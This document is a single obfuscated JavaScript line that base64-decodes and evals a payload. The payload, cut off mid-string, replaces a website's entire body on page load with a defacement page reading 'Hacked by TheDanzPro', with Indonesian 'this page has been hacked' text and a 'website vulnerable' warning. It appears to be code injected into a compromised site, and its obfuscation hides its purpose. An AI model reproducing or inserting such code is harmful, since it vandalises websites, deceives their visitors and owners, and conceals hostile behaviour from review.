eval(atob('d2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCAoKSA9PiB7DQogIGRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gIjwhRE9DVFlQRSBodG1sPlxuPGh0bWwgbGFuZz1cImlkXCI+XG48aGVhZD5cbjxtZXRhIGNoYXJzZXQ9XCJVVEYtOFwiPlxuPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCBtaW5pbXVtLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT1ubywgdmlld3BvcnQtZml0PWNvdmVyXCI+XG48bWV0YSBuYW1lPVwiZm9ybWF0LWRldGVjdGlvblwiIGNvbnRlbnQ9XCJ0ZWxlcGhvbmU9bm9cIj5cbjxtZXRhIG5hbWU9XCJhcHBsZS1tb2JpbGUtd2ViLWFwcC1jYXBhYmxlXCIgY29udGVudD1cInllc1wiPlxuPG1ldGEgbmFtZT1cIm1vYmlsZS13ZWItYXBwLWNhcGFibGVcIiBjb250ZW50PVwieWVzXCI+XG48bWV0YSBuYW1lPVwiYXBwbGUtbW9iaWxlLXdlYi1hcHAtc3RhdHVzLWJhci1zdHlsZVwiIGNvbnRlbnQ9XCJibGFjay10cmFuc2x1Y2VudFwiPlxuPHN0eWxlPmh0bWx7dG91Y2gtYWN0aW9uOnBhbi15O292ZXJmbG93LXg6aGlkZGVufWh0bWwsYm9keXstd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6MTAwJTstd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6dHJhbnNwYXJlbnR9PFwvc3R5bGU+XG48dGl0bGU+LlwvSGFja2VkIGJ5IFRoZURhbnpQcm88XC90aXRsZT5cbjxsaW5rIGhyZWY9XCJodHRwczpcL1wvZm9udHMuZ29vZ2xlYXBpcy5jb21cL2NzczI/ZmFtaWx5PVNoYXJlK1RlY2grTW9ubyZmYW1pbHk9T3JiaXRyb246d2dodEA0MDA7NzAwOzkwMCZmYW1pbHk9UmFqZGhhbmk6d2dodEAzMDA7NDAwOzUwMDs3MDAmZGlzcGxheT1zd2FwXCIgcmVsPVwic3R5bGVzaGVldFwiPlxuPHN0eWxlPlxuICBcLyogPT09IFBlcmZvcm1hbmNlIG9wdCA9PT0gKlwvXG4gICp7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveDt3aWxsLWNoYW5nZTphdXRvfVxuICAuZ3JpZCwubGluZS1oLC5saW5lLXYsLnZpZ25ldHRlLC5hdmF0YXI6OmJlZm9yZSwuYXZhdGFyOjphZnRlciwuY2FyZHt3aWxsLWNoYW5nZTpvcGFjaXR5LHRyYW5zZm9ybX1cbiAgLm5hbWUgLmNoe3dpbGwtY2hhbmdlOm9wYWNpdHksdHJhbnNmb3JtLGZpbHRlcn1cbiAgQG1lZGlhIChwcmVmZXJzLXJlZHVjZWQtbW90aW9uOnJlZHVjZSl7XG4gICAgKiwqOjpiZWZvcmUsKjo6YWZ0ZXJ7YW5pbWF0aW9uLWR1cmF0aW9uOi4wMW1zIWltcG9ydGFudDthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OjEhaW1wb3J0YW50O3RyYW5zaXRpb24tZHVyYXRpb246LjAxbXMhaW1wb3J0YW50fVxuICB9XG4gIDpyb290e1xuICAgIC0tcmVkOiNlNjM5NDY7XG4gICAgLS1yZWQtZGltOnJnYmEoMjMwLDU3LDcwLC41KTtcbiAgICAtLXJlZC1zb2Z0OnJnYmEoMjMwLDU3LDcwLC4xNSk7XG4gICAgLS1iZzojMDUwNjA4O1xuICAgIC0tdGV4dDojZThlOGVjO1xuICAgIC0tbXV0ZWQ6IzZhNmQ3NTtcbiAgICAtLWxpbmU6cmdiYSgyMzAsNTcsNzAsLjMpO1xuICB9XG4gIGh0bWwsYm9keXtoZWlnaHQ6MTAwJX1cbiAgYm9keXtcbiAgICBiYWNrZ3JvdW5kOnJhZGlhbC1ncmFkaWVudChlbGxpcHNlIGF0IDUwJSAzNSUsIzBlMTIxOCAwJSx2YXIoLS1iZykgNTUlLCMwMjAzMDQgMTAwJSk7XG4gICAgY29sb3I6dmFyKC0tdGV4dCk7XG4gICAgZm9udC1mYW1pbHk6J1JhamRoYW5pJyxzYW5zLXNlcmlmO1xuICAgIG92ZXJmbG93LXg6aGlkZGVuO292ZXJmbG93LXk6YXV0bztcbiAgICBwb3NpdGlvbjpyZWxhdGl2ZTtcbiAgICBkaXNwbGF5OmZsZXg7XG4gICAgYWxpZ24taXRlbXM6Y2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDpjZW50ZXI7XG4gICAgbWluLWhlaWdodDoxMDB2aDtcbiAgICBwYWRkaW5nOjQwcHggMjBweDtcbiAgfVxuXG4gIFwvKiA9PT0gQmFja2dyb3VuZCBncmlkID09PSAqXC9cbiAgLmdyaWR7XG4gICAgcG9zaXRpb246Zml4ZWQ7aW5zZXQ6MDt6LWluZGV4OjA7cG9pbnRlci1ldmVudHM6bm9uZTtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOlxuICAgICAgbGluZWFyLWdyYWRpZW50KHJnYmEoMjU1LDI1NSwyNTUsLjAyKSAxcHgsdHJhbnNwYXJlbnQgMXB4KSxcbiAgICAgIGxpbmVhci1ncmFkaWVudCg5MGRlZyxyZ2JhKDI1NSwyNTUsMjU1LC4wMikgMXB4LHRyYW5zcGFyZW50IDFweCk7XG4gICAgYmFja2dyb3VuZC1zaXplOjYwcHggNjBweDtcbiAgICBtYXNrLWltYWdlOnJhZGlhbC1ncmFkaWVudChlbGxpcHNlIGF0IGNlbnRlciwjMDAwIDIwJSx0cmFuc3BhcmVudCA3NSUpO1xuICAgIC13ZWJraXQtbWFzay1pbWFnZTpyYWRpYWwtZ3JhZGllbnQoZWxsaXBzZSBhdCBjZW50ZXIsIzAwMCAyMCUsdHJhbnNwYXJlbnQgNzUlKTtcbiAgICB0cmFuc2Zvcm06dHJhbnNsYXRlWigwKTtcbiAgfVxuXG4gIFwvKiA9PT0gQW5pbWF0ZWQgcmVkIGxpbmVzID09PSAqXC9cbiAgLmxpbmUtaHtcbiAgICBwb3NpdGlvbjpmaXhlZDtsZWZ0OjA7cmlnaHQ6MDtoZWlnaHQ6MXB4O3otaW5kZXg6MTtcbiAgICBiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg5MGRlZyx0cmFuc3BhcmVudCAxMCUsdmFyKC0tcmVkKSA1MCUsdHJhbnNwYXJlbnQgOTAlKTtcbiAgICBvcGFjaXR5OjA7XG4gICAgYW5pbWF0aW9uOmxpbmVIIDdzIGVhc2UtaW4tb3V0IGluZmluaXRlO1xuICAgIHRyYW5zZm9ybTp0cmFuc2xhdGVaKDApO1xuICB9XG4gIC5saW5lLWgudG9we3RvcDoxMiV9XG4gIC5saW5lLWguYm90e2JvdHRvbToxMiU7YW5pbWF0aW9uLWRlbGF5OjQuNXN9XG4gIEBrZXlmcmFtZXMgbGluZUh7XG4gICAgMCV7b3BhY2l0eTowO3RyYW5zZm9ybTpzY2FsZVgoLjEpfVxuICAgIDUwJXtvcGFjaXR5Oi42NTt0cmFuc2Zvcm06c2NhbGVYKDEpfVxuICAgIDEwMCV7b3BhY2l0eTowO3RyYW5zZm9ybTpzY2FsZVgoLjEpfVxuICB9XG4gIC5saW5lLXZ7XG4gICAgcG9zaXRpb246Zml4ZWQ7dG9wOjA7Ym90dG9tOjA7d2lkdGg6MXB4O3otaW5kZXg6MTtcbiAgICBiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0cmFuc3BhcmVudCx2YXIoLS1yZWQtZGltKSA0MCUsdmFyKC0tcmVkLWRpbSkgNjAlLHRyYW5zcGFyZW50KTtcbiAgICBvcGFjaXR5Oi4zO1xuICAgIGFuaW1hdGlvbjpsaW5lViAxMXMgZWFzZS1pbi1vdXQgaW5maW5pdGU7XG4gIH1cbiAgLmxpbmUtdi5se2xlZnQ6MTYlfVxuICAubGluZS12LnJ7cmlnaHQ6MTYlO2FuaW1hdGlvbi1kZWxheTozc31cbiAgQGtleWZyYW1lcyBsaW5lVntcbiAgICAwJSwxMDAle29wYWNpdHk6LjE1O3RyYW5zZm9ybTpzY2FsZVkoLjYpfVxuICAgIDUwJXtvcGFjaXR5Oi40NTt0cmFuc2Zvcm06c2NhbGVZKDEpfVxuICB9XG5cbiAgLnZpZ25ldHRle1xuICAgIHBvc2l0aW9uOmZpeGVkO2luc2V0OjA7ei1pbmRleDoyO3BvaW50ZXItZXZlbnRzOm5vbmU7XG4gICAgYmFja2dyb3VuZDpyYWRpYWwtZ3JhZGllbnQoZWxsaXBzZSBhdCBjZW50ZXIsdHJhbnNwYXJlbnQgNDUlLHJnYmEoMCwwLDAsLjc1KSAxMDAlKTtcbiAgfVxuXG4gIFwvKiA9PT0gQ2FyZCA9PT0gKlwvXG4gIC5jYXJke1xuICAgIHBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6NTtcbiAgICB3aWR0aDptaW4oNTYwcHgsOTJ2dyk7XG4gICAgcGFkZGluZzo0OHB4IDQwcHg7XG4gICAgdGV4dC1hbGlnbjpjZW50ZXI7XG4gICAgYmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoMTgwZGVnLHJnYmEoMTIsMTQsMTgsLjkyKSxyZ2JhKDYsNywxMCwuOTUpKTtcbiAgICBiYWNrZHJvcC1maWx0ZXI6Ymx1cig4cHgpO1xuICAgIC13ZWJraXQtYmFja2Ryb3AtZmlsdGVyOmJsdXIoOHB4KTtcbiAgICBib3JkZXI6MXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsLjA2KTtcbiAgICBib3JkZXItcmFkaXVzOjRweDtcbiAgICBib3gtc2hhZG93OlxuICAgICAgMCAzMHB4IDgwcHggcmdiYSgwLDAsMCwuNyksXG4gICAgICAwIDAgMXB4IHJnYmEoMjMwLDU3LDcwLC4zKSxcbiAgICAgIGluc2V0IDAgMXB4IDAgcmdiYSgyNTUsMjU1LDI1NSwuMDQpO1xuICAgIGFuaW1hdGlvbjpjYXJkSW4gMS4ycyBjdWJpYy1iZXppZXIoLjE2LDEsLjMsMSkgYm90aDtcbiAgfVxuICBAa2V5ZnJhbWVzIGNhcmRJbntcbiAgICBmcm9te29wYWNpdHk6MDt0cmFuc2Zvcm06dHJhbnNsYXRlWSgyMHB4KSBzY2FsZSguOTgpO2ZpbHRlcjpibHVyKDhweCl9XG4gICAgdG97b3BhY2l0eToxO3RyYW5zZm9ybTp0cmFuc2xhdGVZKDApIHNjYWxlKDEpO2ZpbHRlcjpibHVyKDApfVxuICB9XG4gIC5jb3JuZXJ7cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTRweDtoZWlnaHQ6MTRweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLXJlZCk7b3BhY2l0eTouNn1cbiAgLmNvcm5lci50bHt0b3A6OHB4O2xlZnQ6OHB4O2JvcmRlci1yaWdodDpub25lO2JvcmRlci1ib3R0b206bm9uZX1cbiAgLmNvcm5lci50cnt0b3A6OHB4O3JpZ2h0OjhweDtib3JkZXItbGVmdDpub25lO2JvcmRlci1ib3R0b206bm9uZX1cbiAgLmNvcm5lci5ibHtib3R0b206OHB4O2xlZnQ6OHB4O2JvcmRlci1yaWdodDpub25lO2JvcmRlci10b3A6bm9uZX1cbiAgLmNvcm5lci5icntib3R0b206OHB4O3JpZ2h0OjhweDtib3JkZXItbGVmdDpub25lO2JvcmRlci10b3A6bm9uZX1cblxuICBcLyogPT09IEF2YXRhciA9PT0gKlwvXG4gIC5hdmF0YXJ7XG4gICAgd2lkdGg6MTMwcHg7aGVpZ2h0OjEzMHB4O1xuICAgIG1hcmdpbjowIGF1dG8gMjhweDtcbiAgICBwb3NpdGlvbjpyZWxhdGl2ZTtcbiAgICBvcGFjaXR5OjA7XG4gICAgYW5pbWF0aW9uOmZhZGVVcCAxcyAuMTVzIGZvcndhcmRzO1xuICB9XG4gIC5hdmF0YXIgaW1ne1xuICAgIHdpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7XG4gICAgYm9yZGVyLXJhZGl1czo1MCU7XG4gICAgb2JqZWN0LWZpdDpjb3ZlcjtcbiAgICBkaXNwbGF5OmJsb2NrO1xuICAgIGZpbHRlcjpncmF5c2NhbGUoMjAlKSBjb250cmFzdCgxLjA1KTtcbiAgICBib3gtc2hhZG93OjAgMCAzMHB4IHJnYmEoMjMwLDU3LDcwLC4yKTtcbiAgICBib3JkZXI6MnB4IHNvbGlkIHJnYmEoMjMwLDU3LDcwLC42KTtcbiAgICBwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4OjI7XG4gICAgaW1hZ2UtcmVuZGVyaW5nOmF1dG87XG4gIH1cbiAgLmF2YXRhcjo6YmVmb3Jle1xuICAgIGNvbnRlbnQ6XCJcIjtwb3NpdGlvbjphYnNvbHV0ZTtpbnNldDotNnB4O1xuICAgIGJvcmRlci1yYWRpdXM6NTAlO1xuICAgIGJvcmRlcjoxcHggc29saWQgdmFyKC0tcmVkKTtcbiAgICBvcGFjaXR5Oi41O1xuICAgIGFuaW1hdGlvbjpyaW5nIDRzIGVhc2UtaW4tb3V0IGluZmluaXRlO1xuICB9XG4gIC5hdmF0YXI6OmFmdGVye1xuICAgIGNvbnRlbnQ6XCJcIjtwb3NpdGlvbjphYnNvbHV0ZTtpbnNldDotMTJweDtcbiAgICBib3JkZXItcmFkaXVzOjUwJTtcbiAgICBib3JkZXI6MXB4IHNvbGlkIHZhcigtLXJlZCk7XG4gICAgb3BhY2l0eTouMjU7XG4gICAgYW5pbWF0aW9uOnJpbmcgNHMgZWFzZS1pbi1vdXQgaW5maW5pdGUgLjVzO1xuICB9XG4gIEBrZXlmcmFtZXMgcmluZ3tcbiAgICAwJSwxMDAle3RyYW5zZm9ybTpzY2FsZSgxKTtvcGFjaXR5Oi40fVxuICAgIDUwJXt0cmFuc2Zvcm06c2NhbGUoMS4wOCk7b3BhY2l0eTouMTV9XG4gIH1cblxuICBcLyogPT09IFRhZyA9PT0gKlwvXG4gIC50YWd7XG4gICAgZGlzcGxheTppbmxpbmUtZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjhweDtcbiAgICBmb250LWZhbWlseTonU2hhcmUgVGVjaCBNb25vJyxtb25vc3BhY2U7XG4gICAgZm9udC1zaXplOjEwcHg7bGV0dGVyLXNwYWNpbmc6NXB4O2NvbG9yOnZhcigtLW11dGVkKTtcbiAgICB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7XG4gICAgbWFyZ2luLWJvdHRvbToyMnB4O1xuICAgIHBhZGRpbmc6NXB4IDE0cHg7XG4gICAgYm9yZGVyOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4wOCk7XG4gICAgYm9yZGVyLXJhZGl1czoycHg7XG4gICAgb3BhY2l0eTowO1xuICAgIGFuaW1hdGlvbjpmYWRlVXAgMXMgLjNzIGZvcndhcmRzO1xuICB9XG4gIC50YWcgLmRvdHtcbiAgICB3aWR0aDo1cHg7aGVpZ2h0OjVweDtib3JkZXItcmFkaXVzOjUwJTtiYWNrZ3JvdW5kOnZhcigtLXJlZCk7XG4gICAgYm94LXNoYWRvdzowIDAgOHB4IHZhcigtLXJlZCk7XG4gICAgYW5pbWF0aW9uOnB1bHNlIDJzIGVhc2UtaW4tb3V0IGluZmluaXRlO1xuICB9XG4gIEBrZXlmcmFtZXMgcHVsc2V7XG4gICAgMCUsMTAwJXtvcGFjaXR5OjE7dHJhbnNmb3JtOnNjYWxlKDEpfVxuICAgIDUwJXtvcGFjaXR5Oi40O3RyYW5zZm9ybTpzY2FsZSguOCl9XG4gIH1cblxuICBcLyogPT09IFRpdGxlOiBIYWxhbWFuIGluaSB0ZWxhaCBkaXJldGFzID09PSAqXC9cbiAgLmhhY2tlZHtcbiAgICBmb250LWZhbWlseTonUmFqZGhhbmknLHNhbnMtc2VyaWY7XG4gICAgZm9udC13ZWlnaHQ6NTAwO1xuICAgIGZvbnQtc2l6ZToxOHB4O1xuICAgIGxldHRlci1zcGFjaW5nOjEuNXB4O1xuICAgIGNvbG9yOnZhcigtLW11dGVkKTtcbiAgICB0ZXh0LXRyYW5zZm9ybTpsb3dlcmNhc2U7XG4gICAgbWFyZ2luLWJvdHRvbToxNHB4O1xuICAgIG9wYWNpdHk6MDtcbiAgICBhbmltYXRpb246ZmFkZVVwIDFzIC41cyBmb3J3YXJkcztcbiAgfVxuXG4gIFwvKiA9PT0gTmFtZTogVGhlRGFuelBybyA9PT0gKlwvXG4gIC5uYW1le1xuICAgIGZvbnQtZmFtaWx5OidPcmJpdHJvbicsc2Fucy1zZXJpZjtcbiAgICBmb250LXdlaWdodDo3MDA7XG4gICAgZm9udC1zaXplOmNsYW1wKDM4cHgsOHZ3LDU4cHgpO1xuICAgIGxldHRlci1zcGFjaW5nOjNweDtcbiAgICBsaW5lLWhlaWdodDoxO1xuICAgIGNvbG9yOnZhcigtLXRleHQpO1xuICAgIHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtcbiAgICBwb3NpdGlvbjpyZWxhdGl2ZTtcbiAgICBtaW4taGVpZ2h0OjEuMmVtO1xuICAgIHBlcnNwZWN0aXZlOjYwMHB4O1xuICAgIG9wYWNpdHk6MDtcbiAgICBhbmltYXRpb246ZmFkZVVwIDFzIC42NXMgZm9yd2FyZHM7XG4gIH1cbiAgLm5hbWUgLmdsaXRjaHtwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9ja31cbiAgLm5hbWUgLmNoe1xuICAgIGRpc3BsYXk6aW5saW5lLWJsb2NrO1xuICAgIG9wYWNpdHk6MDtcbiAgICB0cmFuc2Zvcm06dHJhbnNsYXRlWSgyMHB4KSByb3RhdGVYKC05MGRlZyk7XG4gICAgZmlsdGVyOmJsdXIoOHB4KTtcbiAgICBhbmltYXRpb246cmV2ZWFsIC45cyBjdWJpYy1iZXppZXIoLjIsLjgsLjIsMSkgZm9yd2FyZHM7XG4gIH1cbiAgLm5hbWUgLmNoLmxpdHtcbiAgICB0ZXh0LXNoYWRvdzowIDAgMjVweCByZ2JhKDIzMCw1Nyw3MCwuNSksMCAwIDQwcHggcmdiYSgyMzAsNTcsNzAsLjI1KTtcbiAgICBhbmltYXRpb246cmV2ZWFsIC45cyBjdWJpYy1iZXppZXIoLjIsLjgsLjIsMSkgZm9yd2FyZHMsYnJlYXRoZSAzLjVzIGVhc2UtaW4tb3V0IGluZmluaXRlIC45cztcbiAgfVxuICBAa2V5ZnJhbWVzIHJldmVhbHt0b3tvcGFjaXR5OjE7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMCkgcm90YXRlWCgwKTtmaWx0ZXI6Ymx1cigwKX19XG4gIEBrZXlmcmFtZXMgYnJlYXRoZXtcbiAgICAwJSwxMDAle3RleHQtc2hhZG93OjAgMCAyMHB4IHJnYmEoMjMwLDU3LDcwLC4zNSksMCAwIDM1cHggcmdiYSgyMzAsNTcsNzAsLjE1KX1cbiAgICA1MCV7dGV4dC1zaGFkb3c6MCAwIDMwcHggcmdiYSgyMzAsNTcsNzAsLjYpLDAgMCA1NXB4IHJnYmEoMjMwLDU3LDcwLC4zKX1cbiAgfVxuICAubmFtZSAuZ2xpdGNoOjpiZWZvcmUsLm5hbWUgLmdsaXRjaDo6YWZ0ZXJ7XG4gICAgY29udGVudDphdHRyKGRhdGEtdCk7XG4gICAgcG9zaXRpb246YWJzb2x1dGU7aW5zZXQ6MDtcbiAgICBvcGFjaXR5OjA7cG9pbnRlci1ldmVudHM6bm9uZTtcbiAgICB0cmFuc2l0aW9uOm9wYWNpdHkgLjA4cztcbiAgfVxuICAubmFtZSAuZ2xpdGNoOjpiZWZvcmV7Y29sb3I6dmFyKC0tcmVkKTt0cmFuc2Zvcm06dHJhbnNsYXRlKC0ycHgsMCl9XG4gIC5uYW1lIC5nbGl0Y2g6OmFmdGVye2NvbG9yOiM0ZGQwZTE7dHJhbnNmb3JtOnRyYW5zbGF0ZSgycHgsMCl9XG4gIC5uYW1lLmdsaXRjaGluZyAuZ2xpdGNoOjpiZWZvcmUsLm5hbWUuZ2xpdGNoaW5nIC5nbGl0Y2g6OmFmdGVye29wYWNpdHk6MX1cbiAgLm5hbWUuZ2xpdGNoaW5nIC5nbGl0Y2g6OmJlZm9yZXthbmltYXRpb246c2xpY2UxIC4xOHMgc3RlcHMoMikgMn1cbiAgLm5hbWUuZ2xpdGNoaW5nIC5nbGl0Y2g6OmFmdGVye2FuaW1hdGlvbjpzbGljZTIgLjE4cyBzdGVwcygyKSAyfVxuICBAa2V5ZnJhbWVzIHNsaWNlMXtcbiAgICAwJXtjbGlwLXBhdGg6aW5zZXQoMjAlIDAgNjAlIDApfVxuICAgIDUwJXtjbGlwLXBhdGg6aW5zZXQoNjAlIDAgMjAlIDApfVxuICAgIDEwMCV7Y2xpcC1wYXRoOmluc2V0KDQwJSAwIDQwJSAwKX1cbiAgfVxuICBAa2V5ZnJhbWVzIHNsaWNlMntcbiAgICAwJXtjbGlwLXBhdGg6aW5zZXQoNzAlIDAgMTAlIDApfVxuICAgIDUwJXtjbGlwLXBhdGg6aW5zZXQoMTAlIDAgNzAlIDApfVxuICAgIDEwMCV7Y2xpcC1wYXRoOmluc2V0KDUwJSAwIDMwJSAwKX1cbiAgfVxuXG4gIC5zdWJ0aXRsZXtcbiAgICBtYXJnaW4tdG9wOjEycHg7XG4gICAgZm9udC1mYW1pbHk6J1NoYXJlIFRlY2ggTW9ubycsbW9ub3NwYWNlO1xuICAgIGZvbnQtc2l6ZToxMXB4O2xldHRlci1zcGFjaW5nOjZweDtcbiAgICBjb2xvcjp2YXIoLS1yZWQpO1xuICAgIHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtcbiAgICBvcGFjaXR5OjA7XG4gICAgYW5pbWF0aW9uOmZhZGVVcCAxcyAxcyBmb3J3YXJkcztcbiAgfVxuXG4gIC5kaXZpZGVye1xuICAgIHdpZHRoOjgwcHg7aGVpZ2h0OjFweDttYXJnaW46MjZweCBhdXRvO1xuICAgIGJhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLHRyYW5zcGFyZW50LHZhcigtLXJlZCksdHJhbnNwYXJlbnQpO1xuICAgIG9wYWNpdHk6LjU7XG4gIH1cblxuICBcLyogPT09IEFkbWluIHdhcm5pbmcgbGluZSA9PT0gKlwvXG4gIC53YXJuaW5ne1xuICAgIHBvc2l0aW9uOnJlbGF0aXZlO1xuICAgIG1hcmdpbjowIGF1dG87XG4gICAgcGFkZGluZzoxOHB4IDIycHg7XG4gICAgbWF4LXdpZHRoOjM4MHB4O1xuICAgIGZvbnQtZmFtaWx5OidSYWpkaGFuaScsc2Fucy1zZXJpZjtcbiAgICBmb250LXdlaWdodDo0MDA7XG4gICAgZm9udC1zaXplOjE1cHg7XG4gICAgbGluZS1oZWlnaHQ6MS42O1xuICAgIGNvbG9yOnZhcigtLXRleHQpO1xuICAgIGJhY2tncm91bmQ6cmdiYSgyMzAsNTcsNzAsLjA2KTtcbiAgICBib3JkZXItbGVmdDoycHggc29saWQgdmFyKC0tcmVkKTtcbiAgICBib3JkZXItcmlnaHQ6MXB4IHNvbGlkIHJnYmEoMjMwLDU3LDcwLC4yKTtcbiAgICB0ZXh0LWFsaWduOmNlbnRlcjtcbiAgICBvcGFjaXR5OjA7XG4gICAgYW5pbWF0aW9uOmZhZGVVcCAxcyAxLjNzIGZvcndhcmRzO1xuICB9XG4gIC53YXJuaW5nIHN0cm9uZ3tcbiAgICBjb2xvcjp2YXIoLS1yZWQpO1xuICAgIGZvbnQtd2VpZ2h0OjcwMDtcbiAgICBkaXNwbGF5OmJsb2NrO1xuICAgIHRleHQtYWxpZ246Y2VudGVyO1xuICAgIG1hcmdpbi1ib3R0b206OHB4O1xuICAgIGxldHRlci1zcGFjaW5nOjJweDtcbiAgfVxuICAud2FybmluZyBwe1xuICAgIHRleHQtYWxpZ246Y2VudGVyO1xuICAgIG1hcmdpbjowO1xuICB9XG5cbiAgQG1lZGlhIChtYXgtd2lkdGg6NTIwcHgpe1xuICAgIC5jYXJke3BhZGRpbmc6MzhweCAyNHB4fVxuICAgIC5hdmF0YXJ7d2lkdGg6MTEwcHg7aGVpZ2h0OjExMHB4O21hcmdpbi1ib3R0b206MjJweH1cbiAgICAubmFtZXtmb250LXNpemU6MzJweDtsZXR0ZXItc3BhY2luZzoycHh9XG4gICAgLmhhY2tlZHtmb250LXNpemU6MTZweH1cbiAgICAud2FybmluZ3tmb250LXNpemU6MTNweDtwYWRkaW5nOjE2cHggMThweH1cbiAgICAuY29ybmVyLXR4dHtmb250LXNpemU6OXB4O2xldHRlci1zcGFjaW5nOjFweH1cbiAgICAuY29ybmVyLXR4dC5sZWZ0e2xlZnQ6MTJweH1cbiAgICAuY29ybmVyLXR4dC5yaWdodHtyaWdodDoxMnB4fVxuICB9XG5cbiAgQGtleWZyYW1lcyBmYWRlVXB7XG4gICAgZnJvbXtvcGFjaXR5OjA7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoOHB4KX1cbiAgICB0b3tvcGFjaXR5OjE7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoMCl9XG4gIH1cblxuICBAbWVkaWEgKG1heC13aWR0aDo1MjBweCl7XG4gICAgLmNhcmR7cGFkZGluZzozOHB4IDI0cHh9XG4gICAgLmF2YXRhcnt3aWR0aDoxMTBweDtoZWlnaHQ6MTEwcHg7bWFyZ2luLWJvdHRvbToyMnB4fVxuICAgIC5uYW1le2ZvbnQtc2l6ZTozMnB4O2xldHRlci1zcGFjaW5nOjJweH1cbiAgICAuaGFja2Vke2ZvbnQtc2l6ZToxNnB4fVxuICAgIC53YXJuaW5ne2ZvbnQtc2l6ZToxM3B4O3BhZGRpbmc6MTJweCAxNnB4fVxuICB9XG48XC9zdHlsZT5cbjxcL2hlYWQ+XG48Ym9keT5cblxuPGRpdiBjbGFzcz1cImdyaWRcIj48XC9kaXY+XG48ZGl2IGNsYXNzPVwibGluZS1oIHRvcFwiPjxcL2Rpdj5cbjxkaXYgY2xhc3M9XCJsaW5lLWggYm90XCI+PFwvZGl2PlxuPGRpdiBjbGFzcz1cImxpbmUtdiBsXCI+PFwvZGl2PlxuPGRpdiBjbGFzcz1cImxpbmUtdiByXCI+PFwvZGl2PlxuPGRpdiBjbGFzcz1cInZpZ25ldHRlXCI+PFwvZGl2PlxuXG48bWFpbiBjbGFzcz1cImNhcmRcIj5cbiAgPHNwYW4gY2xhc3M9XCJjb3JuZXIgdGxcIj48XC9zcGFuPlxuICA8c3BhbiBjbGFzcz1cImNvcm5lciB0clwiPjxcL3NwYW4+XG4gIDxzcGFuIGNsYXNzPVwiY29ybmVyIGJsXCI+PFwvc3Bhbj5cbiAgPHNwYW4gY2xhc3M9XCJjb3JuZXIgYnJcIj48XC9zcGFuPlxuXG4gIDxkaXYgY2xhc3M9XCJhdmF0YXJcIj5cbiAgICA8aW1nIHNyYz1cImh0dHBzOlwvXC9pLmliYi5jby5jb21cL0ZrSjlCYmZxXC9JTUctMjAyNjExMDMtMDAyMDE4LmpwZ1wiIGFsdD1cIlRoZURhbnpQcm9cIiBvbmVycm9yPVwidGhpcy5zdHlsZS5vcGFjaXR5PTBcIj5cbiAgPFwvZGl2PlxuXG4gIDxkaXYgY2xhc3M9XCJ0YWdcIj48c3BhbiBjbGFzcz1cImRvdFwiPjxcL3NwYW4+IFN5c3RlbSBJbmZvcm1hdGlvbiA8c3BhbiBjbGFzcz1cImRvdFwiPjxcL3NwYW4+PFwvZGl2PlxuXG4gIDxkaXYgY2xhc3M9XCJoYWNrZWRcIj5oYWxhbWFuIGluaSB0ZWxhaCBkaXJldGFzIG9sZWg8XC9kaXY+XG5cbiAgPGgxIGNsYXNzPVwibmFtZVwiIGlkPVwibmFtZVwiPlxuICAgIDxzcGFuIGNsYXNzPVwiZ2xpdGNoXCIgZGF0YS10PVwiVGhlRGFuelByb1wiIGlkPVwic2NyYW1ibGVcIj48XC9zcGFuPlxuICA8XC9oMT5cblxuICA8ZGl2IGNsYXNzPVwiZGl2aWRlclwiPjxcL2Rpdj5cblxuICA8ZGl2IGNsYXNzPVwid2FybmluZ1wiPlxuICAgIDxzdHJvbmc+XHUyNmEwIFBFUklOR0FUQU4gXHUyNmEwPFwvc3Ryb25nPlxuICAgIDxwPldlYnNpdGUgUmVudGFuIFRlcmhhZGFwIEtlYW1hbmFuPFwvcD5cbiAgPFwvZGl2PlxuXG48XC9tYWluPlxuXG48c2NyaXB0PlxuICBcLyogPT09IFRoZURhbnpQcm8gcmV2ZWFsIGFuaW1hdGlvbiAob3B0aW1pemVkKSA9PT0gKlwvXG4gIGNvbnN0IHRhcmdldCA9ICdUaGVEYW56UHJvJztcbiAgY29uc3Qgd3JhcCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzY3JhbWJsZScpO1xuICBjb25zdCBuYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25hbWUnKTtcbiAgd3JhcC5zZXRBdHRyaWJ1dGUoJ2RhdGEtdCcsIHRhcmdldCk7XG5cbiAgXC9cLyBQcmUtY3JlYXRlIGxldHRlciBzcGFucyBvbmNlLCByZXVzZSB0aGVtXG4gIGNvbnN0IGxldHRlclNwYW5zID0gW107XG4gIFsuLi50YXJnZXRdLmZvckVhY2goKGMsaSk9PntcbiAgICBjb25zdCBzcGFuID0gZG9jdW1lbnQuY3JlYXR